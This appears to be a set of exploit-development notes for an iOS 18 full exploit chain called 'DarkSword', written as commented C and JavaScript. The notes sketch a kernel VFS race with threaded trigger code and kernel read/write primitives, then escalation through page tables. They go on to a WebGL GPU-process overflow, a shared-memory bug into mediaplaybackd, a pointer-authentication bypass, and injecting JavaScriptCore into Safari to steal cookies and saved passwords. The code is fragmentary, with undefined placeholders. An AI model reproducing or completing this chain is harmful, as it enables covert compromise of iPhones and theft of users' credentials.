DarkSword -- iOS 18 Full-Chain Exploit

// === XNU VFS Architecture ===
//
// VFS layer: abstract interface for all filesystem operations
// vnode: kernel object representing a file/directory
// vnode operations: lookup, open, read, write, rename, etc.
//
// Problem: VFS operations are inherently concurrent
// Multiple threads can operate on same vnode simultaneously
// Locking must be PERFECT to prevent races
// XNU uses vnode_lock() / vnode_unlock() but has gaps

// === The TOCTOU Race ===
//
// Thread A (check):              Thread B (modify):
// ========================       ========================
// 1. vnode_authorize(vp, ...)    
//    -> Check permissions         
//    -> Permission OK             
//                                 2. Change vnode state
//                                    (rename, modify attributes,
//                                     or change mount point)
// 3. vnode_operation(vp, ...)    
//    -> Use vnode with            
//       stale state               
//    -> Kernel operates on        
//       WRONG file/state          

// === Exploitation Flow ===

// Step 1: Create race-prone file operation
// Two threads operate on same vnode:

// Thread A: Perform operation that CHECKS vnode state
void *check_thread(void *arg) {
    int fd = *(int *)arg;
    while (!race_won) {
        // File operation that reads vnode state
        // e.g., fstat, open, access check
        struct stat st;
        fstat(fd, &st);
        // Kernel internally:
        //   1. Look up vnode for fd
        //   2. Check vnode->v_type, v_mount, v_flag
        //   3. Read attributes based on checked state
    }
    return NULL;
}

// Thread B: Modify vnode state between check and use
void *modify_thread(void *arg) {
    char *path = (char *)arg;
    while (!race_won) {
        // Operation that changes vnode state
        // e.g., rename, mount/unmount, symlink swap
        rename(path, "/tmp/new_path");
        rename("/tmp/new_path", path);
        // Rapid rename creates window where vnode state is inconsistent
        // If Thread A's check and use straddle a rename:
        //   -> Check sees state A
        //   -> Use operates on state B
        //   -> Kernel confusion!
    }
    return NULL;
}

// Step 2: Detect race win
// Specific to CVE-2025-43520: race causes kernel to
// operate on a vnode with incorrect backing storage
//
// Result: kernel reads/writes physical pages that don't
// belong to the file's filesystem
// -> Physical memory access outside intended bounds
// -> With careful grooming: read/write arbitrary physical pages

// Step 3: Escalate to physrw
//
// VFS race gives: ability to read/write certain physical pages
// that kernel incorrectly maps during file operations
//
// Escalation chain:
//   1. Use VFS confusion to read kernel page table entries
//   2. Identify L3 page table physical addresses
//   3. Use VFS confusion to WRITE to L3 page table pages
//   4. Create PTE mapping arbitrary physical address
//   5. Access mapped virtual address -> physrw
//
// Key insight: VFS operates at PAGE granularity
// File I/O = page-in/page-out operations
// Race confuses WHICH physical page gets mapped
// -> Equivalent to PUAF but via filesystem path

// === Which vnode operations race ===
//
// VFS operations that are particularly race-prone:
//
// 1. vnode_authorize() + actual operation
//    -> Check permission, then do operation
//    -> If vnode changes between check and operation: TOCTOU
//
// 2. namei() / lookup path traversal
//    -> Path components resolved one at a time
//    -> Attacker swaps symlink during traversal
//    -> Kernel follows wrong path
//
// 3. File I/O + mount point changes
//    -> Read/write operation on file
//    -> Mount point changes mid-operation
//    -> Kernel reads/writes wrong filesystem's data
//
// CVE-2025-43520 specific:
//    -> Race between vnode attribute read and page-in operation
//    -> Causes kernel to map pages from wrong backing store
//    -> Pages intended for user file data come from kernel memory region
//    -> User reads file data = reads kernel memory!

// === From VFS Race to Physical Read/Write ===

// Phase 1: Kernel memory disclosure via VFS confusion
uint64_t vfs_kread64(uint64_t target_addr) {
    // 1. Setup race conditions on target file
    // 2. Trigger VFS race -> kernel maps wrong physical page
    // 3. Read file data -> actually reads kernel memory at target_addr
    //    (page containing target_addr gets mapped as file data)

    int fd = open("/tmp/race_target", O_RDONLY);
    // ... race threads running ...
    uint8_t buf[PAGE_SIZE];
    read(fd, buf, PAGE_SIZE);
    // If race won: buf contains kernel memory instead of file data

    uint64_t value = *(uint64_t *)(buf + (target_addr & (PAGE_SIZE - 1)));
    return value;
}

// Phase 2: Kernel memory write via VFS confusion
void vfs_kwrite64(uint64_t target_addr, uint64_t value) {
    // 1. Setup race on writable file
    // 2. Trigger VFS race -> kernel will write to wrong physical page
    // 3. Write file data -> actually writes to kernel memory

    int fd = open("/tmp/race_target", O_WRONLY);
    // ... race threads running ...
    uint8_t buf[PAGE_SIZE];
    memset(buf, 0, PAGE_SIZE);
    *(uint64_t *)(buf + (target_addr & (PAGE_SIZE - 1))) = value;
    write(fd, buf, PAGE_SIZE);
    // If race won: kernel memory at target_addr is overwritten
}

// Phase 3: physrw via page table manipulation
// Use kread/kwrite to find and modify page tables
// Same escalation path as Pattern 3 in attack-patterns

// ANGLE (Almost Native Graphics Layer Engine):
// Google's OpenGL ES -> Metal/Vulkan/D3D translation layer
// Used by WebKit for WebGL rendering
//
// Architecture on iOS 18:
//   WebContent process: JavaScript calls WebGL API
//   -> WebGL commands serialized into command buffer (shared memory)
//   -> IPC notification to GPU process
//   -> GPU process deserializes command buffer
//   -> GPU process calls Metal API for actual rendering
//   -> Result shared back to WebContent for display
//
// The command buffer is the attack surface:
//   - WebContent WRITES command buffer (attacker-controlled)
//   - GPU process READS and PROCESSES command buffer
//   - Complex parsing logic in GPU process
//   - Any parsing bug = code execution in GPU process

// Example: how WebGL command leads to OOB in GPU process
//
// WebContent side (attacker-controlled JavaScript):
const gl = canvas.getContext('webgl2');
const buffer = gl.createBuffer();
gl.bindBuffer(gl.ARRAY_BUFFER, buffer);
// Craft buffer data that triggers OOB when GPU process processes it
gl.bufferData(gl.ARRAY_BUFFER, malicious_data, gl.STATIC_DRAW);
// -> Command serialized: BUFFER_DATA opcode + size + data
// -> IPC to GPU process
// -> GPU process parses: sees BUFFER_DATA, allocates buffer, copies
// -> BUG: size validation incorrect -> copies beyond allocated buffer
// -> OOB write in GPU process address space!

// GPU process needs to coordinate with media services for:
// 1. Video playback pipeline (decode -> render -> display)
// 2. DRM content protection (FairPlay, HDCP)
// 3. Picture-in-Picture (PiP) coordination
// 4. Audio/video synchronization
//
// mediaplaybackd is the central coordinator for media playback
// GPU process has XPC entitlements to talk to mediaplaybackd:

// GPU process sends XPC messages to mediaplaybackd:
//   - Playback state updates (playing, paused, seeking)
//   - Frame presentation timing
//   - Content protection status
//
// The XPC interface uses shared memory for efficiency:
//   - Large buffers (video frames, command data) shared via COW pages
//   - XPC message contains reference to shared memory region
//   - mediaplaybackd maps the shared region into its address space
//
// CVE-2025-43510: COW bug means GPU process's write to shared page
// is visible in mediaplaybackd WITHOUT triggering copy-on-write
// -> GPU process corrupts data that mediaplaybackd trusts
// -> If corrupted data includes function pointer or callback:
//    -> mediaplaybackd calls attacker-controlled function
//    -> Code execution in mediaplaybackd!

// Why mediaplaybackd is valuable:
// 1. No sandbox (com.apple.private.security.no-container)
// 2. Can dlopen() arbitrary frameworks
// 3. Has IOKit access -> can reach kernel attack surface
// 4. Runs as mobile user with broad entitlements

// === Injecting JavaScriptCore into system processes ===
//
// After kernel physrw + PAC bypass (CVE-2026-20700):
// Attacker can execute arbitrary code in any user process
//
// Strategy: don't write native implant
// Instead: load JSC framework and execute JavaScript

// Step 1: Find target process (e.g., MobileSafari, Springboard)
// Use kernel r/w to scan proc structures
uint64_t target_proc = find_proc_by_name("MobileSafari");
uint64_t target_task = kread64(target_proc + OFF_PROC_TASK);

// Step 2: Get task port for target process
// Method 1: Use physrw to modify target's task port rights
// Method 2: Use PAC bypass + dyld exploit to inject into target
//
// With CVE-2026-20700 (dyld PAC bypass):
// Exploit dyld's authenticated pointer handling to redirect execution

// Step 3: Load JavaScriptCore framework into target
// dlopen() loads JSC framework (already in dyld shared cache)
// On iOS, JSC is in shared cache -> nearly zero cost to "load"
// Just need to call dlopen("JavaScriptCore.framework") in target process

// Pseudo-code for framework injection via thread hijacking:
//
// 1. Suspend target process
// 2. Create new thread in target via task port
// 3. Set thread state:
//    x0 = "JavaScriptCore.framework" (string in target's address space)
//    x1 = RTLD_NOW
//    pc = dlopen address
//    lr = infinite_loop gadget
// 4. Resume thread -> dlopen() executes in target
// 5. Get JSC context: JSGlobalContextCreate()
// 6. Evaluate JavaScript: JSEvaluateScript(ctx, exploit_js, ...)

// Step 4: Execute JavaScript payload
// JavaScript code runs with target process's permissions
// MobileSafari: access cookies, history, saved passwords
// Springboard: access notifications, app list
// etc.